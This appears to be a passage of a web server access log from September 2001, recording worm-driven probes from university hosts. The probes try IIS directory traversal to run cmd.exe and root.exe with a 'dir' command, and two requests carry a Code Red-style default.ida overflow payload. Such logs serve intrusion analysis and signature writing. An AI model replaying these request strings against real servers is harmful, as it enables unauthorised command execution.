  3106. 20010918 12:27:53: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3107. 20010918 12:28:29: d53-26.uoregon.edu [128.223.53.26] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3108. 20010918 12:28:29: d53-26.uoregon.edu [128.223.53.26] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3109. 20010918 12:28:29: d53-26.uoregon.edu [128.223.53.26] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3110. 20010918 12:28:29: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3111. 20010918 12:28:30: d53-26.uoregon.edu [128.223.53.26] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3112. 20010918 12:28:30: d53-26.uoregon.edu [128.223.53.26] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3113. 20010918 12:28:30: d53-26.uoregon.edu [128.223.53.26] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3114. 20010918 12:28:31: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3115. 20010918 12:28:31: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3116. 20010918 12:28:31: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3117. 20010918 12:28:31: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3118. 20010918 12:28:32: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3119. 20010918 12:28:32: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3120. 20010918 12:28:32: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3121. 20010918 12:28:32: d53-26.uoregon.edu [128.223.53.26] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3122. 20010918 12:28:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3123. 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3124. 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3125. 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3126. 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3127. 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3128. 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3129. 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3130. 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3131. 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3132. 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3133. 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3134. 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3135. 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3136. 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3137. 20010918 12:31:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3138. 20010918 12:31:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3139. 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3140. 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3141. 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3142. 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3143. 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3144. 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3145. 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3146. 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3147. 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3148. 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3149. 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3150. 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3151. 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3152. 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3153. 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3154. 20010918 12:32:05: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3155. 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3156. 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3157. 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3158. 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3159. 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3160. 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3161. 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3162. 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3163. 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3164. 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3165. 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3166. 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3167. 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3168. 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3169. 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3170. 20010918 12:33:22: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3171. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3172. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3173. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3174. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3175. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3176. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3177. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3178. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3179. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3180. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3181. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3182. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3183. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3184. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3185. 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3186. 20010918 12:33:38: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3187. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3188. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3189. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3190. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3191. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3192. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3193. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3194. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3195. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3196. 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3197. 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3198. 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3199. 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3200. 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3201. 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3202. 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3203. 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3204. 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3205. 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3206. 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3207. 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3208. 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3209. 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3210. 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3211. 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3212. 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3213. 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3214. 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3215. 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3216. 20010918 12:37:57: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3217. 20010918 12:37:57: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3218. 20010918 12:37:57: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3219. 20010918 12:40:04: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3220. 20010918 12:40:04: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3221. 20010918 12:40:04: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3222. 20010918 12:40:05: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3223. 20010918 12:40:05: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3224. 20010918 12:40:05: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3225. 20010918 12:40:06: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3226. 20010918 12:40:06: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3227. 20010918 12:40:06: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3228. 20010918 12:40:06: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3229. 20010918 12:40:07: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3230. 20010918 12:40:07: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3231. 20010918 12:40:07: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3232. 20010918 12:40:07: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3233. 20010918 12:40:08: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3234. 20010918 12:40:08: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  3235. 20010918 12:41:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3236. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3237. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3238. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3239. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3240. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3241. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3242. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3243. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3244. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3245. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3246. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3247. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3248. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3249. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3250. 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3251. 20010918 12:53:24: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3252. 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3253. 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3254. 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3255. 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3256. 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3257. 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3258. 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3259. 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3260. 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3261. 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3262. 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3263. 20010918 12:55:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3264. 20010918 12:55:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3265. 20010918 12:55:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3266. 20010918 12:55:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3267. 20010918 12:55:39: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  3268. 20010918 13:00:11: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3269. 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3270. 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3271. 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3272. 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3273. 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3274. 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
